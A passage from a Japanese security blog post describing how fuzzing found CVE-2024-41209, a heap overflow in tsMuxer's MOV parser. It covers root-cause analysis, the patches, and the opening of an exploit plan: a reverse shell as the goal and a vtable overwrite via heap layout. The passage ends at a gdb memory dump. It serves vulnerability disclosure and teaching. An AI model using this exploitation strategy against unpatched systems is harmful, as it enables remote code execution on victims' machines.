Friday, October 25, 2024

rezzufを用いた0-dayエクスプロイトの開発 [CVE-2024-41209]

著者: iwashiira, ptr-yudai

はじめに

弊社ではfuzzufというファジングフレームワークを開発しています。ファジングとはプログラムの入力をランダムに生成して実行し、プログラムが異常な動作を引き起こす入力を探すソフトウェアテスト技術です。fuzzufの詳しい解説は以前のブログ記事をご覧ください。

私たちは、より強力なFuzzerを作成するために日々研究開発を行なっています。 fuzzufを用いることで、開発したFuzzerを手軽に実行できるだけでなく、容易にFuzzer同士を比較検証することができます。

私たちはfuzzufを拡張して、新たにrezzufというファジングアルゴリズムを実装しました。さらに、rezzufを利用してtsMuxerから0-day脆弱性を発見しました。本記事ではその脆弱性CVE-2024-41209の原理と解析手順、そして攻撃コードを解説します。

CVE-2024-41209

CVE-2024-41209はtsMuxerのMOVファイルのDemuxerに含まれていた脆弱性で、弊社メンバーのArata, ptr-yudai, iwashiiraが発見・報告しました。

tsMuxerはC++で書かれたオープンソースプロジェクトで、動画ファイルを扱うアプリケーションです。動画ファイルの中でも、映像・音声・字幕といったメディアの構成要素のことをエレメンタリーストリームと呼びます。これらエレメンタリーストリームをMP4, MKV, TSといった1つのコンテナファイルに統合する操作のことをmuxingと呼び、逆に分割する操作のことをdemuxingと呼びます。また、1つのコンテナファイルを別の形式のコンテナファイルに変換する操作をremuxingと呼びます。tsMuxerはこれらmuxing, demuxing, remuxingを扱うソフトウェアで、クライアントサイドのみならず、Universal Media Serverなどのサーバーサイドでも利用されています。

tsMuxerは複数のコンテナ形式をサポートしていますが、rezzufによるファジングの結果、MOVやMKV, VOBやTS向けのDemuxerに脆弱性や潜在的な問題があることがわかりました。特にMOV形式のDemuxerの脆弱性(CVE-2024-41209)ではエクスプロイト可能であり、また技術的にも興味深い点があることから、本ブログ記事にて紹介したいと思います。

MOVファイルの構造

今回見つけたバグの1つは、MOVファイルのパースに際して起きる脆弱性でした。脆弱性が発火する原理を理解して攻撃可能性を調べるために、まずはMOVファイルの構造を簡単に説明します。

MOVファイルといえば、代表的な動画ファイル形式の1つです。MOVファイルは複数のトラックと呼ばれる要素から構成され、各トラックはmovie, audioなどといった各種データを持っています。ファイルフォーマットとしては、atomという構成単位で階層化された構造になっています。

MOVファイルを hexdump -C 表示した結果を確認してみましょう。

$ hexdump -C test.mov
...
28 b1 00 00 00 80 73 74  63 6f 00 00 00 00 00 00  |(.....stco......|
00 1c 00 00 00 24 00 00  ca fe 00 00 cf 3c 00 00  |.....$.......<..|
d1 37 00 00 d6 78 00 00  d8 64 00 00 de cf 00 01  |.7...x...d......|
09 2b 00 01 35 32 00 01  61 3a 00 01 8b 95 00 01  |.+..52..a:......|
b7 9d 00 01 e1 f9 00 02  0e 00 00 02 38 5c 00 02  |............8\..|
64 64 00 02 8e bf 00 02  ba c7 00 02 e6 ce 00 03  |dd..............|
11 2a 00 03 3d 31 00 03  67 8e 00 03 93 94 00 03  |.*..=1..g.......|
bd f1 00 03 e9 f8 00 04  15 fe 00 04 40 5b 00 04  |............@[..|
6c 62 00 00 04 dc 74 72  61 6b 00 00 00 5c 74 6b  |lb....trak...\tk|
68 64 00 00 00 03 00 00  00 00 00 00 00 00 00 00  |hd..............|

traktkhd などの小文字のアルファベット4文字の文字列が散在していますが、これがatomの種類を表す名前(MKTAG)にあたります。atomは階層構造のため、1つのatomがさらに子にあたるatomを持つ場合があります。

例えば、上の例ではtkhdアトムはtrakアトムを包含しています。オフセット0x49b92からの4バイトにある値0x4dcがtrakアトムのサイズになりますが、その範囲内にtkhdアトムが配置されていることがわかります。

mp4dumpなどのコマンドでatomの階層構造を確認することもできます。

tsMuxerのMOV demuxing

tsMuxerにおいて、demuxingの際のMOVファイルのパース処理はmovDemuxer.cppおよびmovDemuxer.hに記述されています。 MovDemuxer::mov_read_default()MovDemuxer::ParseTableEntry() が核となる処理です。

MovDemuxer::mov_read_default()では親のatomの情報を引数のMOVAtom構造体から受け取ります。その後、子のatomの情報をMOVAtom構造体のsizeとtypeに格納した上で、MovDemuxer::ParseTableEntry()にこのMOVAtom構造体を渡しながら呼び出します。MovDemuxer::ParseTableEntry()はMKTAGに応じて、trakアトムならばMovDemuxer::mov_read_trak() を、といったように各種アトム用に作られた関数を呼び出します。各種アトム用に作られた関数ではそのアトムをパースし、もし内包されているアトムがあればMovDemuxer::mov_read_default() を呼ぶ、といった形で核となる処理に制御を戻し、順次アトムの階層構造をdemuxしていきます。

 MovDemuxer::mov_read_default()

MovDemuxer::ParseTableEntry()

 

脆弱性の根本原因を特定

rezzufによるファジングの結果、 MovDemuxer::mov_read_trun() 内でheap-buffer-overflowと分類されるクラッシュが見つかりました。このクラッシュを引き起こした入力を元に、根本原因を特定しましょう。

ファジングの際には特定の関数に絞って入力を渡すようなコードを使用しており、そのようなコードをハーネスと呼びます。

ファジングに使用した具体的なハーネス、およびクラッシュ入力となるMOVファイルはGithubのissueを確認ください。また、詳細なASAN Reportとmp4dumpの結果は、リポジトリをご覧ください。

まず、クラッシュが起きている箇所である MovDemuxer::mov_read_trun() の処理を確認しましょう。

int MovDemuxer::mov_read_trun(MOVAtom atom)
{
    MOVFragment* frag = &fragment;
    unsigned data_offset = 0;

    if (frag->track_id <= 0 || frag->track_id > num_tracks)
        return -1;
    Track* st = tracks[frag->track_id - 1];
    const auto sc = reinterpret_cast<MOVStreamContext*>(st);
    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
        return 0;
    get_byte();  // version
    const unsigned flags = get_be24();
    const unsigned entries = get_be32();
    if (flags & 0x001)
        data_offset = get_be32();
    if (flags & 0x004)
        get_be32();  // first_sample_flags
    int64_t offset = frag->base_data_offset + data_offset;
    sc->chunk_offsets.push_back(offset);
    for (size_t i = 0; i < entries; i++)
    {
        unsigned sample_size = frag->size;

        if (flags & 0x100)
            get_be32();  // sample_duration
        if (flags & 0x200)
            sample_size = get_be32();
        if (flags & 0x400)
            get_be32();  // sample_flags
        if (flags & 0x800)
        {
            sc->ctts_data.emplace_back();
            sc->ctts_data[sc->ctts_count].count = 1;
            sc->ctts_data[sc->ctts_count].duration = get_be32();
            sc->ctts_count++;
        }

        // assert(sample_duration % sc->time_rate == 0);
        offset += sample_size;
    }
    frag->moof_offset = offset;
    return 0;
}

trunというアトムのflagsについて、0x800に相当するbitが立っている時に、ベクター sc->ctts_datasc->ctts_count をindexとして、countに1を、durationにファイルから読み込んだ32bitをそれぞれ書き込んでいます。クラッシュログはこの箇所でheap-buffer-overflowが起きていることを示唆しているため、heapに確保されたベクターへの書き込み処理で範囲外参照(OOB; out-of-bounds)が起きていると考えられます。

ctts_dataのベクターは、グローバル変数として確保されている構造体中のtracksという配列を経由してアクセスされます。バグが起きる根本原因を調べるため、ctts_dataベクターへの操作全般と関連する変数の値を確認していきましょう。

解析の下準備

関連する変数の値を適宜確認するために、今回はgdbスクリプトを使用します。gdbスクリプトはデバッグ情報付きのバイナリをソースコードと共にデバッグする際に、非常に強力な解析能力を提供してくれます。tsMuxerが配布しているバイナリのビルド方法を確認し、ビルドスクリプトに手を加えて解析用のバイナリをビルドしましょう。

GitHubのworkflowを確認すると、 scripts/rebuild_linux_with_gui_docker.sh を実行することで配布バイナリをビルドしています。cmakeのbuildオプションに -DCMAKE_BUILD_TYPE=Debug を加えるなどした後、 justdan96/tsmuxer_build という専用のdocker image内でスクリプトを実行することで配布バイナリとほぼ同一のデバッグ用のバイナリを生成できます。

diff --git a/scripts/rebuild_linux_with_gui_docker.sh b/scripts/rebuild_linux_with_gui_docker.sh
index 7823b58..44488f8 100755
--- a/scripts/rebuild_linux_with_gui_docker.sh
+++ b/scripts/rebuild_linux_with_gui_docker.sh
@@ -1,12 +1,11 @@
 rm -rf build
 mkdir build
 cd build
-cmake  -DTSMUXER_GUI=ON -DTSMUXER_STATIC_BUILD=ON -DFREETYPE_LDFLAGS=png ../
+cmake  -DTSMUXER_GUI=ON -DTSMUXER_STATIC_BUILD=ON -DFREETYPE_LDFLAGS=png -DCMAKE_BUILD_TYPE=Debug ../
 make
 cp tsMuxer/tsmuxer ../bin/tsMuxeR
 cp tsMuxerGUI/tsMuxerGUI ../bin/tsMuxerGUI
 cd ..
-rm -rf build
 mkdir ./bin/lnx
 mv ./bin/tsMuxeR ./bin/lnx/tsMuxeR
$ docker pull justdan96/tsmuxer_build
$ docker run -it --rm -v $(pwd):/workdir -w="/workdir" justdan96/tsmuxer_build bash
# ./scripts/rebuild_linux_with_gui_docker.sh

後は、gdb script側でコンテナ内でのcmake時のproject rootのパスをホスト上のパスに変換してやれば、ソースコード付きでデバッグすることが可能となります。

import gdb

gdb.execute('set substitute-path /workdir .')
gdb.execute('b MovDemuxer::mov_read_trun')
gdb.execute('r')

アトムの“over-parse”の発見

解析作業に着手し始めてすぐに、 MovDemuxer::mov_read_trun() が6回も実行されていることに気づきます。クラッシュ入力のMOVファイルにはtrunアトムのMKTAGは一つしか存在しないため、これは非常におかしなことです。例えば3回目にMovDemuxer::mov_read_trun() でbreakした際のstack traceを確認してみましょう。解析の下準備にてソースコードと共にデバッグする環境を整えたおかげで、stack traceに積まれている関数がかつてcallされた時にはどのような引数を伴っていたのか容易に確認できます。

gef> bt
#0  MovDemuxer::mov_read_trun (this=0x939e30, atom={type = 0x6e757274, offset = 0x41db, size = 0x60}) at /workdir/tsMuxer/movDemuxer.cpp:1070
#1  0x00000000004ba65a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6e757274, offset = 0x41db, size = 0x60}) at /workdir/tsMuxer/movDemuxer.cpp:919
#2  0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x66617274, offset = 0x41b3, size = 0x88}) at /workdir/tsMuxer/movDemuxer.cpp:974
#3  0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x66617274, offset = 0x41b3, size = 0x88}) at /workdir/tsMuxer/movDemuxer.cpp:866
#4  0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x419b, size = 0xa0}) at /workdir/tsMuxer/movDemuxer.cpp:974
#5  0x00000000004bbd97 in MovDemuxer::mov_read_moof (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x419b, size = 0xa0}) at /workdir/tsMuxer/movDemuxer.cpp:1291
#6  0x00000000004ba47e in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x419b, size = 0xa0}) at /workdir/tsMuxer/movDemuxer.cpp:891
#7  0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x2ba8, size = 0x3b3b0f3d}) at /workdir/tsMuxer/movDemuxer.cpp:974
#8  0x00000000004bbd97 in MovDemuxer::mov_read_moof (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x2ba8, size = 0x3b3b0f3d}) at /workdir/tsMuxer/movDemuxer.cpp:1291
#9  0x00000000004ba47e in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x2ba8, size = 0x3b3b0f3d}) at /workdir/tsMuxer/movDemuxer.cpp:891
#10 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x0, offset = 0x0, size = 0x3b3b3ae5}) at /workdir/tsMuxer/movDemuxer.cpp:974
#11 0x00000000004bc798 in MovDemuxer::mov_read_stsd (this=0x939e30, atom={type = 0x64737473, offset = 0x20b, size = 0x93}) at /workdir/tsMuxer/movDemuxer.cpp:1526
#12 0x00000000004ba528 in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x64737473, offset = 0x20b, size = 0x93}) at /workdir/tsMuxer/movDemuxer.cpp:901
#13 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x6c627473, offset = 0x203, size = 0xdf}) at /workdir/tsMuxer/movDemuxer.cpp:974
#14 0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6c627473, offset = 0x203, size = 0xdf}) at /workdir/tsMuxer/movDemuxer.cpp:866
#15 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x666e696d, offset = 0x1c3, size = 0x11f}) at /workdir/tsMuxer/movDemuxer.cpp:974
#16 0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x666e696d, offset = 0x1c3, size = 0x11f}) at /workdir/tsMuxer/movDemuxer.cpp:866
#17 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x6169646d, offset = 0x16e, size = 0x174}) at /workdir/tsMuxer/movDemuxer.cpp:974
#18 0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6169646d, offset = 0x16e, size = 0x174}) at /workdir/tsMuxer/movDemuxer.cpp:866
#19 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x6b617274, offset = 0x10a, size = 0x1d8}) at /workdir/tsMuxer/movDemuxer.cpp:974
#20 0x00000000004bb351 in MovDemuxer::mov_read_trak (this=0x939e30, atom={type = 0x6b617274, offset = 0x10a, size = 0x1d8}) at /workdir/tsMuxer/movDemuxer.cpp:1143
#21 0x00000000004ba5f4 in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6b617274, offset = 0x10a, size = 0x1d8}) at /workdir/tsMuxer/movDemuxer.cpp:913
#22 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x766f6f6d, offset = 0x5e, size = 0x2e5}) at /workdir/tsMuxer/movDemuxer.cpp:974
#23 0x00000000004bbd17 in MovDemuxer::mov_read_moov (this=0x939e30, atom={type = 0x766f6f6d, offset = 0x5e, size = 0x2e5}) at /workdir/tsMuxer/movDemuxer.cpp:1280
#24 0x00000000004ba4a0 in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x766f6f6d, offset = 0x5e, size = 0x2e5}) at /workdir/tsMuxer/movDemuxer.cpp:893
#25 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x0, offset = 0x0, size = 0x7fffffffffffffff}) at /workdir/tsMuxer/movDemuxer.cpp:974
#26 0x00000000004b8e43 in MovDemuxer::readHeaders (this=0x939e30) at /workdir/tsMuxer/movDemuxer.cpp:696
#27 0x00000000004b8923 in MovDemuxer::openFile (this=0x939e30, streamName=@0x7fffffffdc70: {static npos = 0xffffffffffffffff, _M_dataplus = {<std::allocator<char>> = {<__gnu_cxx::new_allocator<char>> = {<No data fields>}, <No data fields>}, _M_p = 0x7fffffffdc80 "../vuln15.mov"}, _M_string_length = 0xd, {_M_local_buf = "../vuln15.mov\\000\\000", _M_allocated_capacity = 0x316e6c75762f2e2e}}) at /workdir/tsMuxer/movDemuxer.cpp:657
#28 0x000000000048b87c in METADemuxer::DetectStreamReader (readManager=@0x908200: {m_fileReaders = {<std::_Vector_base<BufferedReader*, std::allocator<BufferedReader*> >> = {_M_impl = {<std::allocator<BufferedReader*>> = {<__gnu_cxx::new_allocator<BufferedReader*>> = {<No data fields>}, <No data fields>}, <std::_Vector_base<BufferedReader*, std::allocator<BufferedReader*> >::_Vector_impl_data> = {_M_start = 0x921ca0, _M_finish = 0x921cb0, _M_end_of_storage = 0x921cb0}, <No data fields>}}, <No data fields>}, m_readersCnt = 0x2, m_blockSize = 0x200000, m_allocSize = 0x208000, m_prereadThreshold = 0x100000}, fileName=@0x7fffffffdc70: {static npos = 0xffffffffffffffff, _M_dataplus = {<std::allocator<char>> = {<__gnu_cxx::new_allocator<char>> = {<No data fields>}, <No data fields>}, _M_p = 0x7fffffffdc80 "../vuln15.mov"}, _M_string_length = 0xd, {_M_local_buf = "../vuln15.mov\\000\\000", _M_allocated_capacity = 0x316e6c75762f2e2e}}, calcDuration=0x1) at /workdir/tsMuxer/metaDemuxer.cpp:608
#29 0x000000000046672c in detectStreamReader (fileName=0x7fffffffe823 "../vuln15.mov", mplsParser=0x0, isSubMode=0x0) at /workdir/tsMuxer/main.cpp:114
#30 0x000000000046964a in main (argc=0x2, argv=0x7fffffffe5c8) at /workdir/tsMuxer/main.cpp:689

各引数を確認していきましょう。MovDemuxer::mov_read_stsd() 後に MovDemuxer::mov_read_default() を実行する際のsizeが、親アトムのstsdアトムのサイズと比べて非常に大きな値になってしまっています。 stsdアトムとして解釈されるべきMOVファイルのオフセットの範囲を越えて、現在のstsdアトムの開始オフセットからファイル末尾までに存在するMKTAG全てが、 stsdアトムの子アトムとしてparseされてしまっているのです。その結果、一つの trun MKTAGに対して複数のMovDemuxer::mov_read_trun() が呼ばれることになります。

このheap buffer “over-parse”とも呼べるようなバグの原因をソースコード上で確認しましょう。MovDemuxer::mov_read_stsd() の中で、MovDemuxer::mov_read_default()に渡される、MOVAtom構造体 aa.size はsizeというローカル変数を用いて計算されており、このローカル変数sizeはユーザー入力であるMOVファイルから読み取っています。stsdアトムのサイズである atom.size とsizeを比較する範囲チェックが存在しないことが“over-parse”の原因です。

int MovDemuxer::mov_read_stsd(MOVAtom atom)
{
    if (num_tracks == 0)
        return -1;
    const auto st = reinterpret_cast<MOVStreamContext*>(tracks[num_tracks - 1]);

    get_byte();  // version
    get_be24();  // flags

    const unsigned entries = get_be32();

    for (unsigned pseudo_stream_id = 0; pseudo_stream_id < entries; pseudo_stream_id++)
    {
        // Parsing Sample description table
        // enum CodecID id;
        MOVAtom a;
        const int64_t start_pos = m_processedBytes;
        const unsigned size = get_be32();    // size <- ユーザー入力
        const uint32_t format = get_le32();  // data format

				...

        // this will read extra atoms at the end (wave, alac, damr, avcC, SMI ...)
        a.size = size - (m_processedBytes - start_pos); // <- a.sizeを計算
        if (a.size > 8)
        {
            if (mov_read_default(a) < 0)
                return -1;
        }
        else if (a.size > 0)
            skip_bytes(a.size);
    }
    return 0;
}

この脆弱性には以下のようなパッチを当てました。

int MovDemuxer::mov_read_stsd(MOVAtom atom)
{
		...
        a.size = size - (m_processedBytes - start_pos);
+        if (a.size > atom.size) {
+            THROW(ERR_MOV_PARSE, "MP4/MOV error: Invalid a.size in mov_read_stsd")
+        }
        if (a.size > 8)
        {
            if (mov_read_default(a) < 0)
                return -1;
        }
        else if (a.size > 0)
            skip_bytes(a.size);
    }
    return 0;
}

ctts_dataのベクターが壊れる原因

さて、MovDemuxer::mov_read_trun() が複数回呼ばれているという不可解な現象の根本原因を特定し、heap buffer “over-parse”脆弱性に対するパッチを当てることはできましたが、ASAN Reportがheap buffer overflowと分類したctts_dataのベクターを壊している原因は未だ特定できていません。gdb scriptを駆使して、複数回のMovDemuxer::mov_read_trun() の実行を跨いだctts_dataベクターに関連する変数の遷移を確認しましょう。

MovDemuxer::mov_read_trun() 内では ctts_data.emplace_back() でctts_dataベクターの末尾に要素を確保した後にctts_countをindexとして書き込みを行っています。emplace_back()というメンバー関数は、ベクターのsizeをインクリメントした後にcapacityの値と比較し、sizeの方が大きい場合はベクターの領域が足りないということでヒープ領域にベクターを再確保します。そのため、具体的な変数としてはctts_countとctts_dataベクターのsizeとcapacityの遷移を確認します。生成されたバイナリでは、capacity()メンバー関数はインライン化されていてgdbからcallするのは難しいですが、 vectorの _M_impl._M_end_of_storage から _M_impl._M_start を引くことで計算できます。

import gdb
gdb.execute('set substitute-path /workdir .')
gdb.execute('b movDemuxer.cpp:1078')
gdb.execute('r')
for i in range(0, 6):
    print("sc->ctts_data.size()")
    gdb.execute('p/x sc->ctts_data.size()')
    print("sc->ctts_data.capacity()")
    gdb.execute('p/x sc->ctts_data._M_impl._M_end_of_storage - sc->ctts_data._M_impl._M_start')
    print("sc->ctts_count")
    gdb.execute('p/x sc->ctts_count')
    if (i == 5):
        break
    gdb.execute('c')
Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$1 = 0x0
sc->ctts_data.capacity()
$2 = 0x0
sc->ctts_count
$3 = 0x0

Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$4 = 0xa
sc->ctts_data.capacity()
$5 = 0x10
sc->ctts_count
$6 = 0xa

Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$7 = 0x14
sc->ctts_data.capacity()
$8 = 0x20
sc->ctts_count
$9 = 0x14

Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$10 = 0x0
sc->ctts_data.capacity()
$11 = 0x20
sc->ctts_count
$12 = 0x1e

Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$13 = 0xa
sc->ctts_data.capacity()
$14 = 0x20
sc->ctts_count
$15 = 0x28

Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078	    if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$16 = 0x14
sc->ctts_data.capacity()
$17 = 0x20
sc->ctts_count
$18 = 0x32

heap BOFの根本原因を特定

gdb scriptの実行結果を確認すると、3回目のbreakから4回目のbreakの間にctts_data.sizeが0に初期化されるタイミングがあるようです。一方で、capacityは初期化されていません。ctts_countは一貫して足され続けていて、capacityの値を超えたindexに書き込みが行われており、vector用のheap領域にてheap BOFが起きています。

MovDemuxer::mov_read_trun() 以外でctts_data.sizeに変更を加えるコードを探すと MovDemuxer::mov_read_ctts() が見つかります。ここで、 st->ctts_data.resize(entries); によってctts_dataのベクターをresizeしている一方で、ctts_countやctts_dataベクターのcapacityを初期化していないことに気づきます。

int MovDemuxer::mov_read_ctts(MOVAtom atom)
{
    const auto st = reinterpret_cast<MOVStreamContext*>(tracks[num_tracks - 1]);
    get_byte();  // version
    get_be24();  // flags
    const unsigned entries = get_be32();
    st->ctts_data.resize(entries);
    for (unsigned i = 0; i < entries; i++)
    {
        st->ctts_data[i].count = get_be32();
        st->ctts_data[i].duration = get_be32();
        // st->time_rate= av_gcd(st->time_rate, abs(st->ctts_data[i].duration));
    }
    return 0;
}

MovDemuxer::mov_read_trun() 内では、emplace_backによるsizeのインクリメントとctts_countのインクリメントは同時に行われるので範囲外参照を起こさないかのように見えます。

しかし、MovDemuxer::mov_read_trun()MovDemuxer::mov_read_ctts()MovDemuxer::mov_read_trun() の順番に実行された際には、sizeだけはユーザー入力によってresizeされる一方で、ctts_countやcapacityは初期化されず、sizeがcapacityを下回っている場合はベクターの再確保もされないので、2回目以降のMovDemuxer::mov_read_trun() にてcapacityを超えて範囲外書き込みが起きてしまうのです。MovDemuxer::mov_read_trun() の後にMovDemuxer::mov_read_ctts() を実行することを想定していなかったのだと思われます。

この脆弱性には、以下のようなパッチを行いました。

shrink_to_fit()を使うことで、capacityをresizeしたベクターのsizeに合わせています。

int MovDemuxer::mov_read_ctts(MOVAtom atom)
{
    const auto st = reinterpret_cast<MOVStreamContext*>(tracks[num_tracks - 1]);
    get_byte();  // version
    get_be24();  // flags
    const unsigned entries = get_be32();
    st->ctts_data.resize(entries);
+    st->ctts_data.shrink_to_fit();
+    st->ctts_count = 0;
    for (unsigned i = 0; i < entries; i++)
    {
        st->ctts_data[i].count = get_be32();
        st->ctts_data[i].duration = get_be32();
        // st->time_rate= av_gcd(st->time_rate, abs(st->ctts_data[i].duration));
    }
    return 0;
}

さて、以上のようにクラッシュ入力を用いて解析を行い脆弱性の根本原因を特定しましたが、1つ目の脆弱性が全く別の脆弱性を発火させ、その結果クラッシュを引き起こしたという非常に面白いクラッシュ入力であったことが分かりました。クラッシュ入力のMOVファイルではcttsアトム → trunアトムの順に一つずつのみ存在しており、本来2つ目のheap BOFの条件を満たしてはいなかったはずですが、stsdアトムでの”over-parse”によってcttsアトムとtrunアトムに対して余分にparseを行なってしまうことで条件が整い、2つ目のheap BOFが発火していたのです。

一般に、条件の厳しい脆弱性や、クラッシュやOOBを引き起こさないロジックバグなどをFuzzingで見つけるのは難しいです。しかし今回のクラッシュ入力は、発火条件はそこまで厳しくないがクラッシュしない脆弱性と、発火条件は厳しいがクラッシュを引き起こす脆弱性がチェインした結果、Fuzzingによって見つかったという珍しい事例でした。

エクスプロイト開発

見つかった脆弱性にパッチを当てた後は、その脆弱性の攻撃可能性を評価しましょう。今回のheap BOFの書き込み部分を再度確認します。1と32bitの入力を交互に書き込むことが出来そうです。

            sc->ctts_data.emplace_back();
            sc->ctts_data[sc->ctts_count].count = 1;
            sc->ctts_data[sc->ctts_count].duration = get_be32();
            sc->ctts_count++;

私たちはこのheap BOFをcriticalでRCEに繋げられる脆弱性であると推定し、exploitableであることを証明するエクスプロイトコードを作成することにしました。

エクスプロイトにおける課題

まず、CTFでbinary exploitationの問題を解く際と同じように、tsMuxerが配布しているバイナリのセキュリティ機構を確認します。tsMuxerはバイナリをportableにする目的でstatic-linkedでかつno-pieなバイナリをデフォルトで配布しており、攻撃者視点ではアドレスリークのprimitiveがほとんど必要ないことが嬉しいポイントです。

$ file ./tsMuxeR
./tsMuxeR: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=56c7bf03a7cbd46c1f7fc3ce82bf651f023e9f7c, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec ./tsMuxeR
[*] '/home/vagrant/tsMuxer/bin/lnx/tsMuxeR'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

このバイナリに対するAttack Vectorを考えます。victimがこのバイナリを用いて悪意のあるMOVファイルを開いてしまう、というのが最も考えられるシチュエーションでしょう。ブログ冒頭で言及した通りtsMuxerはサーバーサイドでも使用されてはいますが、Attack Vectorを考慮すると攻撃者とvictimの間にインタラクティブなコネクションがはられていない状況を想定するのが自然であり、その場合は system("/bin/sh") を呼ぶだけでは不十分です。それゆえ、リバースシェルを起動することを攻撃のゴールとしましょう。

脆弱性を発火させる最小のPoCの作成

releaseバイナリにおいて脆弱性を発火させる最小のPoCを作成しましょう。得られているクラッシュ入力はfuzzingする中で変異させていたものですので、脆弱性の発火の原因となる部分以外にも余計なデータが多分に含まれています。余分なデータのparseの際に呼ばれる各種関数は各種構造体をheapに確保し、heap領域の状態をより複雑にしてしまうので、エクスプロイトする上で邪魔になります。最小限のPoCを作成することでheap領域に作られるChunkの状態を整え、この先のエクスプロイトの際の見通しを良くします。

脆弱性を発火させる最小のPoCを以下に示します。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_min_poc.py

作られたexploit.movを配布バイナリtsMuxeRに渡して実行すると、脆弱性が発火することがわかります。

Overflow先の構造体の選定

現在持っているprimitiveは、MovDemuxer::mov_read_trun()MovDemuxer::mov_read_ctts()MovDemuxer::mov_read_trun() の順番で実行した時に、ctts_dataベクターの領域を越えてheap BOFできるというものです。heap BOFは自由な書き込みではなく、big endianのint 1 と、任意の4byteのデータを足した合計8byteの入力を好きな回数入力できるというprimitiveです。

このprimitiveを使って、より強力なprimitiveを得ることを次の目標とします。方針としては以下の通りです。

  1. MovDemuxer::mov_read_ctts() と2回目のMovDemuxer::mov_read_trun() のcallの間に何かheapに構造体Aを取る関数を実行する
  2. ctts_dataベクターの下に隣接するheap領域に構造体Aが取られている状態で、heap BOFで構造体Aの中のポインタを書き換える
  3. 書き換えたポインタを使うことでより強力なprimitiveを得る

MovDemuxer::mov_read_ctts()MovDemuxer::mov_read_trun() の間にMovDemuxer::mov_read_xxxx() のような関数群を呼ぶということは、cttsアトムとtrunアトムの間にxxxxアトムを埋め込むことで簡単に実現できます。そこで、これらMovDemuxer::mov_read_xxxx() が実行時にheapに確保する構造体のうち、書き換えるのに都合のよい構造体を選定します。

構造体のallocationが行われる関数は以下の2つです。

  • MovDemuxer::mov_read_stsd()
    • MovParsedXXXTrackData構造体 (XXXはH264, H265, Audio, SRT)
  • MovDemuxer::mov_read_trak()
    • MOVStreamContext構造体

その他、構造体ではないがheapに配列などを確保する関数として、以下の3つがあります

  • MovDemuxer::mov_read_extradata()
  • MovDemuxer::mov_read_glbl()
  • MovDemuxer::mov_read_esds()

MovParsedXXXTrackData構造体を確認すると、ParsedTrackPrivData構造体を継承しています。

ParsedTrackPrivDataはvirtualメソッドをいくつか持っていて、 MovParsedXXXTrackData構造体ではそれらをオーバーライドしています。

class ParsedTrackPrivData
{
   public:
    ParsedTrackPrivData(uint8_t* buff, int size) {}
    ParsedTrackPrivData() = default;
    virtual ~ParsedTrackPrivData() = default;

    virtual void setPrivData(uint8_t* buff, int size) {}
    virtual void extractData(AVPacket* pkt, uint8_t* buff, int size) = 0;
    virtual unsigned newBufferSize(uint8_t* buff, unsigned size) { return 0; }
};

そのため、 MovParsedXXXTrackData構造体をheapに確保すると、その中にはMovParsedXXXTrackData用のvtableが確保されています。vtableのポインタを書き換えてfakeのvtableのアドレスを指すように変更することで、RIPを取ることが出来るかもしれません。

gef> x/20gx 0x93a690
0x93a690:	0x0000000000000000	0x0000000000000051
